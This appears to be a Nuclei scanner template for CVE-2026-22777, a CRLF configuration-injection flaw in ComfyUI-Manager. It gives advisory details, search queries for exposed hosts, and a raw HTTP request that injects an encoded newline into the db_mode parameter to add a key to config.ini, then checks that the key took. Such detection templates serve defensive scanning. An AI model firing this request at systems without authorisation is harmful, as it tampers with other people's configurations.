Copy
id: CVE-2026-22777
info:
name: ComfyUI-Manager < 3.39.2 - CRLF Configuration Injection
author: TassioSales,DhiyaneshDk
severity: high
description: |
ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. Prior to versions 3.39.2 and 4.0.5, an attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior.
impact: |
Attackers can modify application configuration, potentially altering security settings or application behavior.
remediation: |
This issue has been patched in versions 3.39.2 and 4.0.5.
reference:
- https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2
- https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410
- https://nvd.nist.gov/vuln/detail/CVE-2026-22777
- https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2026-22777
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2026-22777
epss-score: 0.00866
epss-percentile: 0.5892
cwe-id: CWE-93
metadata:
verified: true
max-request: 2
vendor: comfy
product: comfyui-manager
shodan-query: http.title:"ComfyUI"
fofa-query: title="ComfyUI"
tags: cve,cve2026,comfyui,comfyui-manager,comfy,crlf,config-injection,intrusive,unauth
variables:
key: "{{to_lower(rand_text_alpha(8))}}"
val: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /manager/db_mode?value={{key}}%0D{{val}}%20%3D%20injected HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
GET /manager/db_mode HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), key)'
- 'contains(to_lower(body), val)'
- '!contains(to_lower(body), key + val)'
condition: and
# digest: 490a00463044022072e2ba2e0878eec3e65f606b97d96c76e5ed5b7b58f445227a051abfb5dc954502205b0995e70f99ec4694eebcc841723a303ed43cc9f93c2969b81ae6e8e26e4895:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.